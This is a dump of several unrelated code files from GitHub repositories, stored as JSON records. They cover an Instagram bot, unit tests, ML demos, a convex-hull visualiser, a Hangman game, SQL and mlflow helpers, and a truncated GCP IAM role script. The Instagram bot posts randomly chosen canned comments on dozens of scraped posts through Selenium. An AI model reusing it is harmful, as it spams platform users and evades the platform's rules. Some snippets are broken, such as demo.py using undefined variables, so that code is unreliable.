> 50:\r\n if int(followings) > 50 and int(followings) < 7000:\r\n user_posts = chrome_browser.find_elements_by_css_selector(\"div.v1Nh3.kIKUG._bz0w>a\")[:2]\r\n for p in user_posts:\r\n posts.append(p.get_attribute(\"href\"))\r\n return True\r\n return False\r\n\r\n\r\ndef comment(cmlist):\r\n shuffle(posts)\r\n totalCommented = 0\r\n for p in posts : \r\n chrome_browser.get(p)\r\n time.sleep(4)\r\n # time.sleep(5)\r\n if totalCommented > 60:\r\n print(\"max comment reached !!\")\r\n break\r\n try:\r\n element = WebDriverWait(chrome_browser, 10).until(\r\n EC.presence_of_element_located((By.CLASS_NAME, \"Ypffh\"))\r\n )\r\n except Exception as err:\r\n print(f\"something went wrong !! : \\n\\t{err}\")\r\n continue\r\n if element :\r\n try:\r\n textarea = chrome_browser.find_element_by_class_name(\"Ypffh\")\r\n form = chrome_browser.find_element_by_class_name(\"X7cDz\")\r\n textarea.click()\r\n textarea = chrome_browser.find_element_by_class_name(\"Ypffh\")\r\n cm = cmlist[randint(0 , len(cmlist)-1)]\r\n textarea.send_keys(cm)\r\n form.submit()\r\n totalCommented+=1\r\n time.sleep(5)\r\n except Exception as err:\r\n print(f\"something went wrong !! : \\n\\t{err}\")\r\n print(f\"checkout comment : {cm} .\")\r\n continue \r\n\r\n# def controller():\r\n# print(\"enter a number from list bellow:\\n 0)login\\n 1)setting tag name\\n 2)get posts\\n 3)like all \\n 4)comment all \\n 5)find \\n 6)follow\")\r\n# task = input(\":\")\r\n# if task == \"0\":\r\n# login()\r\n# elif task == \"1\":\r\n# setTag()\r\n# elif task == \"2\":\r\n# getPosts()\r\n# elif task == \"3\":\r\n# likePosts()\r\n# elif task == \"4\":\r\n# commentPosts()\r\n# elif task == \"5\":\r\n# findSimilar(input(\"enter the keyword to search : \"))\r\n# elif task == \"6\":\r\n# follow()\r\n# else:\r\n# print(\"\\nnot Correct !! \\n\")\r\n# controller()\r\n\r\n\r\n# controller()\r\n","repo_name":"semsem1378/instagram_bot-","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":12136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31309761584","text":"import unittest\n\nfrom koi.test.test_base import TestBase\nfrom koi.db_mapping import *\nfrom koi.dao import *\n\n\nclass TestPresenceComputation(TestBase):\n\n @classmethod\n def setUpClass(cls):\n super(TestPresenceComputation,cls).setUpClass()\n\n def setUp(self):\n super(TestPresenceComputation,self).setUp()\n\n def test_recompute_presence_on_tars(self):\n\n order = self._make_order()\n order.state = OrderStatusType.order_ready_for_production\n\n task = dao.task_dao.potential_imputable_tasks_for(order, date(2012,10,10))[0]\n\n tar1 = self._make_tar(TaskActionReportType.presence, datetime(2012,10,10,10), self._employee(), dao.task_action_report_dao.presence_task())\n tar2 = self._make_tar(TaskActionReportType.day_out, datetime(2012,10,10,11), self._employee(), dao.task_action_report_dao.presence_task())\n tar3 = self._make_tar(TaskActionReportType.stop_task, datetime(2012,10,10,16), self._employee(), task)\n\n all_tars = [tar1,tar2,tar3]\n presence_time, off_time, presence_timetracks = dao.task_action_report_dao.recompute_presence_on_tars(self._employee(), all_tars)\n\n mainlog.debug(presence_time)\n mainlog.debug(off_time)\n\n for t in presence_timetracks:\n mainlog.debug(t)\n\n self.assertEqual(1,presence_time)\n self.assertEqual(0,off_time)\n self.assertEqual(1,len(presence_timetracks))\n self.assertEqual(1,presence_timetracks[0].duration)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"wiz21b/koi","sub_path":"koi/test/test_presence_computation.py","file_name":"test_presence_computation.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"29419361327","text":"from TextClassification import TextClassification, DataPreprocess\nfrom sklearn.model_selection import train_test_split\nfrom TextClassification import load_data\nimport numpy as np\n\n# load data\n#-----------------------------------\ndata = load_data(name='single')\nx = data['evaluation']\ny = [[i] for i in data['label']]\n\n# data process\n#-----------------------------------\nprocess = DataPreprocess()\n# cut texts\nx_cut = process.cut_texts(texts=x, need_cut=True, word_len=2, savepath=None)\n# texts to sequence\nx_seq = process.text2seq(texts_cut=x_cut, tokenizer=tokenizer, tokenizer_savapah=None,\n num_words=num_words, maxlen=maxlen, batchsize=10000)\n# list to array\nx_seq = np.array(x_seq)\n\n# texts to word vector\nx_word_vec = model.text2vec(texts_cut=x, sg=1, size=128, window=5, min_count=1)\n# texts vector\nx_vec = np.array([sum(i) / len(i) for i in x_word_vec])\n\n# single target\n\n# train model\n#------------------------------------\nX_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2)\n\nmodel = TextClassification()\nmodel.fit(x=X_train, y=y_train, method='CNN', model=None,\n x_need_preprocess=True, y_need_preprocess=True,\n epochs=10, batchsize=128, output_type='single')\nlabel_set = model.label_set\ny_predict = model.predict(x=X_test, x_need_preprocess=True)\ny_predict_label = model.label2toptag(predictions=y_predict, labelset=label_set)\nprint(sum([y_predict_label[i] == y_test[i] for i in range(len(y_predict))]) / len(y_predict))\n\n\n\n# multiple target\n\n# load data\n#-----------------------------------\ndata = load_data(name='multiple')\nx = [i['fact'] for i in data]\ny = [i['accusation'] for i in data]\n\nX_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2)\n\nmodel = TextClassification()\nmodel.fit(x=X_train, y=y_train, method='CNN', model=None,\n x_need_preprocess=True, y_need_preprocess=True,\n epochs=10, batchsize=128, output_type='multiple')\nlabel_set = model.label_set\ny_predict = model.predict(x=X_test, x_need_preprocess=True)\ny_predict_label = model.label2tag(predictions=y_predict, labelset=label_set)\nprint(sum([y_predict_label[i] == y_test[i] for i in range(len(y_predict))]) / len(y_predict))\n","repo_name":"mylv1222/Text-Classification","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"15298534578","text":"import csv\nimport random\nimport numpy\n\nfrom measurement import Measurement\n\nclass DataSet(object):\n\n def __init__(self, measurements = list()):\n self.measurements = measurements\n\n def loadFile(self, filename):\n rawMeasurements = list(csv.reader(open(filename, \"rb\")))\n self.measurements = list()\n for i in range(len(rawMeasurements)):\n rawMeasurements[i] = [float(x) for x in rawMeasurements[i]]\n self.measurements.append(Measurement(rawMeasurements[i]))\n\n def splitMeasurements(self, ratio):\n trainSize = int(len(self.measurements)*ratio)\n trainData = list()\n testData = list(self.measurements)\n while len(trainData) < trainSize:\n trainData.append(testData.pop(random.randrange(len(testData))))\n self.trainData = DataSet(trainData)\n self.testData = DataSet(testData)\n\n def summarize(self, data):\n rawData = [ m.data for m in data ]\n summaries = [{ \"mean\" : numpy.mean(attribute), \"sd\" : numpy.std(attribute)} for attribute in zip(*rawData)] \n return summaries\n\n def classifyMeasurements(self):\n measurements = {}\n for m in self.measurements:\n if m.getClass() not in measurements:\n measurements[m.getClass()] = list()\n measurements[m.getClass()].append(m)\n return measurements\n\n def classSummary(self):\n classifedMeasurements = self.classifyMeasurements()\n summaries = {}\n for classValue, instances in classifedMeasurements.iteritems():\n summaries[classValue] = self.summarize(instances)\n return summaries\n ","repo_name":"jonahglover/baffin","sub_path":"baffin/data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73638467390","text":"import math\nfrom shared.point import Point\nfrom shared.vector import Vector\nfrom shared.segment import Segment\nfrom shared.colors import COLORS\nfrom shared.drawers import drawPoint\nimport shared.random as rand_utils\nimport pygame\nfrom shared.drawers import drawPoint, drawLine\n\n\ndef determineCos(startPoint: Point, endPoint: Point, direction=1) -> float:\n line = endPoint - startPoint\n xAxis = Vector(direction, 0)\n cos = Vector.scalarProduct(line, xAxis) / line.length()\n return cos\n\n\ndef getTriangleArea(point1: Point, point2: Point, point3: Point) -> float:\n vector1 = point1 - point3\n vector2 = point2 - point3\n return abs(vector1.x * vector2.y - vector1.y * vector2.x) / 2\n\n\ndef computePerimeter(points: list[Point]) -> float:\n perimeter = 0\n n = len(points)\n for i in range(len(points)):\n perimeter += (points[(i + 1) % n] - points[i]).length()\n return perimeter\n\n\ndef findMinHigherAngleToPoint(startPoint: Point, points: list[Point], direction=1):\n pointsCopy: list[Point] = [\n point for point in points if point != startPoint]\n\n minAnglePoint = startPoint\n i = 0\n while minAnglePoint.y * direction <= startPoint.y * direction and i < len(pointsCopy):\n minAnglePoint = pointsCopy[i]\n i += 1\n\n for point in pointsCopy:\n if determineCos(startPoint, point, direction * -1) > determineCos(startPoint, minAnglePoint, direction * -1) and direction * point.y >= direction * startPoint.y:\n minAnglePoint = point\n\n return minAnglePoint\n\n\ndef createConvexHull(points: list[Point], pLeft: Point, pRight: Point) -> list[Point]:\n if len(points) == 0:\n return [pRight]\n maxAreaPoint = max(\n points, key=lambda point: getTriangleArea(pLeft, pRight, point))\n\n segment1 = Segment(pLeft, maxAreaPoint)\n segment2 = Segment(maxAreaPoint, pRight)\n\n s1 = [point for point in points if segment1.determinePosition(point) > 0]\n s2 = [point for point in points if segment2.determinePosition(point) > 0]\n\n return createConvexHull(s1, pLeft, maxAreaPoint) + createConvexHull(s2, maxAreaPoint, pRight)\n\n\ndef findConvexHull(points: list[Point]):\n pLeft = min(points, key=lambda point: point.x)\n pRight = max(points, key=lambda point: point.x)\n pLRSegment = Segment(pLeft, pRight)\n pointsOnLeftSide = [\n point for point in points if pLRSegment.determinePosition(point) > 0]\n pointsOnRightSide = [\n point for point in points if pLRSegment.determinePosition(point) < 0]\n\n return [pLeft] + createConvexHull(pointsOnLeftSide, pLeft, pRight) + createConvexHull(pointsOnRightSide, pRight, pLeft)\n\n\ndef drawLines(points: list[Point]):\n for i in range(len(points) - 1):\n drawLine(screen, points[i], points[i+1], COLORS[\"BLACK\"])\n\n\nif __name__ == \"__main__\":\n pygame.init()\n clock = pygame.time.Clock()\n screen = pygame.display.set_mode((800, 800))\n pygame.display.set_caption(\"Lab 6\")\n screen.fill(COLORS[\"WHITE\"])\n\n POINT_COUNT = 10\n FPS = 60\n MAXIMAL_PERIMETER = 1200\n\n points = rand_utils.generateRandomPoints(\n POINT_COUNT, 200, 600, 200, 600)\n velocities = [rand_utils.generateRandomVelocity() for _ in points]\n isFinished = False\n # print(convexHull)\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n if isFinished:\n continue\n\n for point in points:\n drawPoint(screen, point, COLORS[\"BLACK\"])\n convexHull = findConvexHull(points)\n drawLines(convexHull)\n\n pygame.display.update()\n\n screen.fill(COLORS[\"WHITE\"])\n\n perimeter = computePerimeter(convexHull)\n print(\"Perimeter: \", perimeter)\n for point, velocity in zip(points, velocities):\n if perimeter > MAXIMAL_PERIMETER and point in convexHull:\n velocity.inverse()\n\n point.add(velocity)\n\n clock.tick(FPS)\n","repo_name":"StanEkso/geometry-python","sub_path":"lab6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34208301234","text":"import scipy\nfrom scipy import stats \nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom astroML import stats as asts\n\nn = 1000\nmean = 1.5\nstddev = 0.5\n\ndistribution = stats.norm(mean, stddev)\ndraws = distribution.rvs(n)\ndraws.sort()\npdf = distribution.pdf(draws)\n\nlegend = [\"μ = 1.5, σ = 0.5\"]\nplt.plot(draws, pdf, color = \"blue\")\nplt.title(\"Probability Density Function for Normal Random Variable\", size = 21)\nplt.xlabel(\"x\", size = 19)\nplt.ylabel(\"p(x|μ,σ)\", size = 19)\nplt.legend(legend)\nplt.show()\n\nmean = np.mean(draws)\nprint(f'The mean of the given sample is: {mean}')\n\nvariance = np.var(draws)\nprint(f'The variance of the given sample is: {variance}\\nThe standard deviation of the given sample is: {pow(variance, 0.5)}')\n\nskewness = scipy.stats.skew(draws)\nprint(f'The skewness of the given sample is: {skewness}')\n\nkurtosis = scipy.stats.kurtosis(draws)\nprint(f'The kurtosis of the given sample is: {kurtosis}')\n\nmedian_draws = np.median(draws)\ncorr_draws = np.zeros(np.size(draws))\ni = 1\nfor xi in draws:\n\tcorr_draws = abs(xi - median_draws)\n\ti += 1\nmad = np.median(corr_draws)\nstddev_using_mad = 1.482 * mad \nprint(f'The standard deviation using MAD: {stddev_using_mad}')\n\nstddev_using_sigmaG = asts.sigmaG(draws)\nprint(f'The standard deviation using sigmaG: {stddev_using_sigmaG}')","repo_name":"PushkalM11/College-Courses","sub_path":"Data Science and Analysis/Assignment 1/Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12832342506","text":"# -*- coding: utf-8 -*-\n# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\nfrom __future__ import (absolute_import, division, print_function,\n unicode_literals)\n\nimport os\nimport six\n\nfrom . import Command\nfrom .run import Run\nfrom .compare import Compare\n\nfrom ..repo import get_repo\nfrom ..console import color_print\nfrom .. import results\n\nfrom . import common_args\n\n\nclass Continuous(Command):\n @classmethod\n def setup_arguments(cls, subparsers):\n parser = subparsers.add_parser(\n \"continuous\", help=\"Compare two commits directly\",\n description=\"\"\"Run a side-by-side comparison of two commits for\n continuous integration.\"\"\")\n\n parser.add_argument(\n 'base', nargs='?', default=None,\n help=\"\"\"The commit/branch to compare against. By default, the\n parent of the tested commit.\"\"\")\n parser.add_argument(\n 'branch', default=None,\n help=\"\"\"The commit/branch to test. By default, the master branch.\"\"\")\n common_args.add_factor(parser)\n common_args.add_show_stderr(parser)\n common_args.add_bench(parser)\n common_args.add_machine(parser)\n parser.set_defaults(func=cls.run_from_args)\n\n return parser\n\n @classmethod\n def run_from_conf_args(cls, conf, args, **kwargs):\n return cls.run(\n conf=conf, branch=args.branch, base=args.base, factor=args.factor,\n show_stderr=args.show_stderr, bench=args.bench, machine=args.machine,\n **kwargs\n )\n\n @classmethod\n def run(cls, conf, branch=None, base=None, factor=2.0, show_stderr=False, bench=None,\n machine=None, _machine_file=None):\n repo = get_repo(conf)\n repo.pull()\n\n if branch is None:\n head = repo.get_hash_from_master()\n else:\n head = repo.get_hash_from_name(branch)\n if base is None:\n parent = repo.get_hash_from_parent(head)\n else:\n parent = repo.get_hash_from_name(base)\n\n commit_hashes = [head, parent]\n run_objs = {}\n\n result = Run.run(\n conf, range_spec=commit_hashes, bench=bench,\n show_stderr=show_stderr, machine=machine, _returns=run_objs,\n _machine_file=_machine_file)\n if result:\n return result\n\n def results_iter(commit_hash):\n for env in run_objs['environments']:\n filename = results.get_filename(\n run_objs['machine_params']['machine'], commit_hash, env.name)\n filename = os.path.join(conf.results_dir, filename)\n result = results.Results.load(filename)\n for name, benchmark in six.iteritems(run_objs['benchmarks']):\n yield name, result.results.get(name, float(\"nan\"))\n\n status = Compare.print_table(conf, parent, head,\n resultset_1=results_iter(parent),\n resultset_2=results_iter(head),\n factor=factor, split=False, only_changed=True,\n sort_by_ratio=True)\n worsened, improved = status\n\n if worsened:\n color_print(\"SOME BENCHMARKS HAVE CHANGED SIGNIFICANTLY.\", 'red')\n elif improved:\n color_print(\"SOME BENCHMARKS HAVE CHANGED SIGNIFICANTLY.\", 'green')\n else:\n color_print(\"BENCHMARKS NOT SIGNIFICANTLY CHANGED.\", 'green')\n\n return worsened\n","repo_name":"pombredanne/asv","sub_path":"asv/commands/continuous.py","file_name":"continuous.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"11218304850","text":"import os\nimport logging\nimport subprocess as sub\n\nfrom typing import AnyStr\n\n\ndef get_resource_path(groups: [str], file_name: str) -> str:\n test_root_dir = os.path.dirname(__file__)\n fixture_file_name = os.path.join(test_root_dir, 'resources', *groups, file_name)\n\n if not os.path.exists(fixture_file_name):\n raise ValueError('File does not exist: ' + fixture_file_name)\n\n return fixture_file_name\n\n\ndef read_resource(groups: [str], file_name: str) -> AnyStr:\n fixture_file_name = get_resource_path(groups, file_name)\n\n with open(fixture_file_name, encoding=\"utf-8\") as file_handle:\n return file_handle.read()\n\n\ndef run_cmd(cmd):\n \"\"\"Execute the command and return the output if successful. If\n unsuccessful, print the failed command and its output.\n \"\"\"\n try:\n out = sub.check_output(cmd, shell=True, stderr=sub.STDOUT)\n return out\n except sub.CalledProcessError as err:\n logging.error('The failed test setup command was [%s].' % err.cmd)\n logging.error('The output of the command was [%s]' % err.output)\n raise\n\n\n# Dynamically load project root dir and jars\nproject_root_dir = os.path.dirname(__file__) + '/..'\njars = run_cmd(f\"ls {project_root_dir}/java/target/blockchain-spark*jar-with-dependencies.jar\") \\\n .decode('utf-8').split('\\n')[0]\n\n# Set environment variables for Spark submit command\nos.environ[\"PYSPARK_SUBMIT_ARGS\"] = \"--jars %s pyspark-shell\" % jars\n\nos.environ[\"SPARK_CONF_DIR\"] = f\"{project_root_dir}/test/resources/conf\"\n\n","repo_name":"datawaves-xyz/blockchain-spark","sub_path":"test/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"60"} +{"seq_id":"25580185259","text":"from django.urls import path, re_path\nfrom django.views.generic import DetailView, ListView\n\nfrom .feeds import BandCDocumentFeed\nfrom .models import Document, ScrapeLog\nfrom .views import BandCList, BandCDetail, MeetingDetail\n\n\nurlpatterns = [\n path(\"\", BandCList.as_view(), name=\"bandc_list\"),\n path(\n \"history/\",\n ListView.as_view(\n queryset=ScrapeLog.objects.all().prefetch_related(\n \"bandcs_scraped\",\n \"documents_scraped__meeting__bandc\",\n ),\n ordering=\"-created\",\n paginate_by=20,\n ),\n name=\"scrapelog_list\",\n ),\n path(\"/\", BandCDetail.as_view(), name=\"bandc_detail\"),\n path(\"feeds//\", BandCDocumentFeed(), name=\"feed\"),\n path(\n \"//\",\n DetailView.as_view(model=Document),\n name=\"document_detail\",\n ),\n re_path(\n r\"^(?P[^/]+)/(?P\\d{4}-\\d{2}-\\d{2})/$\",\n MeetingDetail.as_view(),\n name=\"meeting_detail\",\n ),\n path(\n \"/-/\",\n DetailView.as_view(\n model=Document, slug_field=\"edims_id\", slug_url_kwarg=\"edims_id\"\n ),\n name=\"document_slug_detail\",\n ),\n]\n","repo_name":"crccheck/atx-bandc","sub_path":"bandc/apps/agenda/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"72821957631","text":"import random\n\n\nclass Game:\n PLAYERS = [1, 2]\n LANGUAGES = [\"EN\", \"PL\"]\n LEVELS = {\n \"low\": 8,\n \"medium\": 5,\n \"hard\": 3\n }\n\n vocabulary = {\n \"guess_word\": {\n \"EN\": \"Guess a word :)\",\n \"PL\": \"Zgadnij słowo :)\"\n },\n \"get_u1_word\": {\n \"EN\": \"Player 1, type a word to guess:\\n\",\n \"PL\": \"Gracz 1, wpisz słowo, do odgadywania:\\n \"\n },\n \"get_character\": {\n \"EN\": \"Type letter:\\n\",\n \"PL\": \"Podaj literę:\\n\"\n },\n \"try_again\": {\n \"EN\": \"NO.Try again\",\n \"PL\": \"NIE. Spróbuj ponownie.\"\n },\n \"correct_answer\": {\n \"EN\": \"Yep. You did it :) That letter is correct. Go on!\",\n \"PL\": \"Yep. Udało Ci się :) Ta litera jest poprawna. Idź dalej!\"\n },\n \"the_end_won\": {\n \"EN\": \"You won :)\",\n \"PL\": \"Wygrałeś :)\"\n },\n \"the_end_lost\": {\n \"EN\": \"You lost :(\",\n \"PL\": \"Przegrałeś :(\"\n }\n }\n\n def __init__(self, level, language, players_number):\n self.level = level\n self.language = language\n self.players_number = players_number\n\n @property\n def level(self):\n return self._level\n\n @level.setter\n def level(self, level):\n if type(level) is str:\n if level in self.LEVELS.keys():\n self._level = self.LEVELS[level]\n else:\n raise Exception(\"Invalid level parameter: {0}. Acceptable is: \".format(level, self.LEVELS.keys()))\n elif type(level) is int:\n self._level = level\n else:\n raise Exception(\"Invalid level parameter: {0}. Acceptable is: \".format(level, self.LEVELS.keys()))\n\n @property\n def players_number(self):\n return self._players_number\n\n @players_number.setter\n def players_number(self, players_number):\n if players_number in self.PLAYERS:\n self._players_number = players_number\n else:\n raise Exception(\"Invalid players_number parameter: {0}\".format(players_number))\n\n @property\n def language(self):\n return self._language\n\n @language.setter\n def language(self, language):\n if language in self.LANGUAGES:\n self._language = language\n else:\n raise Exception(\"Invalid language parameter: {0}. Acceptable is {1}\".format(language, self.LANGUAGES))\n\n def _play(self):\n print(\n \"***********************************\\n\"\n \"***********************************\\n\"\n \"*** Welcome to the Game Hangman ***\\n\"\n \"***********************************\\n\"\n \"***********************************\\n\"\n \" {0}\".format(self.vocabulary['guess_word'][self.language])\n )\n\n\nclass Hangman(Game):\n GUESS_WORD = \"\"\n HIDDEN_GUESS_WORD = \"\"\n GUESS_WORDS_LIST = [\"trulala\", \"secret\", \"something\", \"boy\"]\n\n def __init__(self, level, language, players_number):\n super().__init__(level, language, players_number)\n\n def start(self):\n super()._play()\n if self.players_number == 2:\n self.GUESS_WORD = input(self.vocabulary['get_u1_word'][self.language]).lower()\n else:\n self.GUESS_WORD = random.choice(self.GUESS_WORDS_LIST)\n\n self.HIDDEN_GUESS_WORD = self.hide_guess_word(self.GUESS_WORD)\n\n while self.level != 0:\n print(self.HIDDEN_GUESS_WORD)\n user_input = input(self.vocabulary['get_character'][self.language]).lower()\n if user_input not in self.GUESS_WORD or len(user_input) == 0:\n print(self.vocabulary['try_again'][self.language])\n self.level -= 1\n else:\n self.HIDDEN_GUESS_WORD = self.show_letter(user_input)\n print(self.vocabulary['correct_answer'][self.language])\n if self.GUESS_WORD == self.HIDDEN_GUESS_WORD:\n print(self.vocabulary['the_end_won'][self.language])\n break\n if self.level == 0:\n print(self.vocabulary['the_end_lost'][self.language])\n\n @staticmethod\n def hide_guess_word(word):\n return \"_\" * len(word)\n\n def show_letter(self, letter):\n word = self.HIDDEN_GUESS_WORD\n idx_list = [pos for pos, char in enumerate(self.GUESS_WORD) if char == letter]\n for i in idx_list:\n word = word[:i] + letter + word[i + 1:]\n return word\n\n\nHangman(level=\"hard\", language=\"PL\", players_number=1).start()\n","repo_name":"dannycrief/PAD_stekoz","sub_path":"Praca_domowa_cw2_Hangman.py","file_name":"Praca_domowa_cw2_Hangman.py","file_ext":"py","file_size_in_byte":4581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21970920954","text":"import numpy as np\nimport pandas as pd\n\n\ndef load_data(path):\n data = pd.read_csv(path)\n return data\n\n\ndef data_cleaning(data):\n print(\"na values available in data \\n\")\n print(data.isna().sum())\n data = data.dropna()\n print(\"after droping na values \\n\")\n print(data.isna().sum())\n return data\n\n\ndef preprocessing(data):\n data['education'] = np.where(data['education'] == 'basic.9y', 'Basic', data['education'])\n data['education'] = np.where(data['education'] == 'basic.6y', 'Basic', data['education'])\n data['education'] = np.where(data['education'] == 'basic.4y', 'Basic', data['education'])\n\n cat_vars = ['job', 'marital', 'education', 'default', 'housing', 'loan', 'contact', 'month', 'day_of_week',\n 'poutcome']\n for var in cat_vars:\n cat_list = 'var' + '_' + var\n cat_list = pd.get_dummies(data[var], prefix=var)\n data1 = data.join(cat_list)\n data = data1\n\n cat_vars = ['job', 'marital', 'education', 'default', 'housing', 'loan', 'contact', 'month', 'day_of_week',\n 'poutcome']\n data_vars = data.columns.values.tolist()\n to_keep = [i for i in data_vars if i not in cat_vars]\n\n final_data = data[to_keep]\n\n final_data.columns = final_data.columns.str.replace('.', '_')\n final_data.columns = final_data.columns.str.replace(' ', '_')\n return final_data\n\n\ndef create_experiment(experiment_name, run_name, run_metrics, model, confusion_matrix_path=None,\n roc_auc_plot_path=None, run_params=None):\n import mlflow\n # mlflow.set_tracking_uri(\"http://localhost:5000\")\n # use above line if you want to use any database like sqlite as backend storage for model else comment this line\n mlflow.set_experiment(experiment_name)\n\n with mlflow.start_run(run_name=run_name):\n\n if not run_params is None:\n for param in run_params:\n mlflow.log_param(param, run_params[param])\n\n for metric in run_metrics:\n mlflow.log_metric(metric, run_metrics[metric])\n\n if not confusion_matrix_path is None:\n mlflow.log_artifact(confusion_matrix_path, 'confusion_materix')\n\n if not roc_auc_plot_path is None:\n mlflow.log_artifact(roc_auc_plot_path, \"roc_auc_plot\")\n\n mlflow.set_tag(\"tag1\", \"Iris Classifier\")\n mlflow.set_tags({\"tag2\": \"Logistic Regression\", \"tag3\": \"Multi classification using Ovr - One vs rest class\"})\n mlflow.sklearn.log_model(model, \"model\")\n print('Run - %s is logged to Experiment - %s' % (run_name, experiment_name))\n","repo_name":"shihabict/mlflow","sub_path":"common_functions.py","file_name":"common_functions.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12821983476","text":"import sys \nimport pypyodbc as odbc\nimport time\n\n#database variables\ndatabase_var = {\n \"DRIVER\": 'SQL Server',\n \"SERVER_NAME\": 'DESKTOP-NDKJAVS\\SQLEXPRESSV2',\n \"DATABASE_NAME\": 'capstone'\n}\n\n#connection variables\nconnection = f\"\"\"\n Driver={{{database_var[\"DRIVER\"]}}};\n Server={database_var[\"SERVER_NAME\"]};\n Database={database_var[\"DATABASE_NAME\"]};\n Trust_Connection = yes;\n\"\"\"\n\n#insert statement to insert to SQL database\n#add ? according to the number of element in the record list\ninsert_statement = \"\"\"\n INSERT INTO dbo.vaccine_record_v02\n VALUES (?, ?, ?, ?, ?, ?, ?, ?)\n\"\"\"\n\n#function to insert list to SQL database\ndef insertRecord(connection_string, statement, records):\n connect = odbc.connect(connection_string)\n cursor = connect.cursor()\n\n #insert the records (as a list) to SQL database\n cursor.execute(statement, records)\n cursor.commit()\n\n #add time.sleep to ensure the data is added only once\n time.sleep(1)\n cursor.close()\n\n #if still connect after insert value then close the connection\n if connect.connected == 1:\n print(\"Connection closed\")\n connect.close()\n","repo_name":"euronattanan/cie_capstone_repo","sub_path":"qrcode_reader_generator/use_webcam/sql_variables.py","file_name":"sql_variables.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21958667844","text":"import os\nimport argparse\nfrom google.oauth2 import service_account\nimport googleapiclient.discovery\n\n\ncredentials = service_account.Credentials.from_service_account_file(\n filename=os.environ['GOOGLE_APPLICATION_CREDENTIALS'],\n scopes=['https://www.googleapis.com/auth/cloud-platform'])\nservice = googleapiclient.discovery.build(\n 'iam', 'v1', credentials=credentials)\n\n# [START iam_query_testable_permissions]\ndef query_testable_permissions(entity, resource, pageSize):\n \"\"\"Lists valid permissions for a resource.\"\"\"\n\n listTestablePermissions = []\n resource = \"//cloudresourcemanager.googleapis.com/\" + entity + \"/\" + resource \n query_testable_permissions_request_body = { \n 'fullResourceName': resource,\n \"pageSize\": pageSize,\n \"pageToken\": \"\"\n }\n while True:\n request = service.permissions().queryTestablePermissions(body=query_testable_permissions_request_body)\n response = request.execute()\n \n for permission in response.get('permissions', []):\n \n if 'customRolesSupportLevel' in permission.keys():\n if \"NOT_SUPPORTED\" not in permission['customRolesSupportLevel']:\n listTestablePermissions.append((permission['name']))\n else:\n pass\n else:\n listTestablePermissions.append((permission['name']))\n\n if 'nextPageToken' not in response:\n break\n query_testable_permissions_request_body['pageToken'] = response['nextPageToken']\n return listTestablePermissions\n# [END iam_query_testable_permissions]\n\ndef get_permissions(_listRole):\n\n _listPermissions = []\n _listRolePermission = []\n _filteredListRole = filter(None, _listRole)\n for temp in _filteredListRole:\n \n rolesByTemp = get_role(temp)\n\n if rolesByTemp:\n _listRolePermission += [line.strip() for line in rolesByTemp]\n else:\n print (\"There are not roles for %s \" % temp)\n\n return _listRolePermission\n\ndef get_role(name):\n \"\"\"Gets a role.\"\"\"\n print(\"**** Role Name: \" + name + \" ****\")\n # pylint: disable=no-member\n role = service.roles().get(name=name).execute()\n\n if 'includedPermissions' in role:\n for permission in role['includedPermissions']:\n yield permission \n else:\n print(\"Role \" + name + \" doesn't have any permissions associated\")\n \n# [END iam_get_role]\n\n# [START iam_create_role]\ndef create_role(entity, entity_id,name, title, description, permissions, stage):\n try:\n \"\"\"Creates a role.\"\"\"\n\n # pylint: disable=no-member\n if entity == \"projects\":\n role = service.projects().roles().create(\n parent= entity + '/' + entity_id,\n\n body={\n 'roleId': name,\n 'role': {\n 'title': title,\n 'description': description,\n 'includedPermissions': permissions,\n 'stage': stage\n }\n }).execute()\n\n elif entity == \"organizations\":\n role = service.organizations().roles().create(\n parent= entity + '/' + entity_id,\n\n body={\n 'roleId': name,\n 'role': {\n 'title': title,\n 'description': description,\n 'includedPermissions': permissions,\n 'stage': stage\n }\n }).execute()\n\n print('Created role: ' + role['name'])\n return role\n except Exception as e:\n print(e)\n return None\n\n# [END iam_create_role]\n\ndef readRoleFile(path):\n with open(path, \"r\") as roleFile:\n for line in roleFile:\n line = line.replace(\"\\n\", \"\")\n if line:\n yield line\ndef compareCommonPermissions(listRequested, listAvailable):\n\n listCommonPermissions = list(set(listRequested).intersection(set(listAvailable)))\n\n return (listCommonPermissions)\n\ndef compareDifferentPermissions(listRequested, listAvailable):\n\n listDifferentPermissions = list(set(listAvailable).difference(set(listRequested)))\n\n return (\"The set of permissions that are not available for custom roles is : \" + 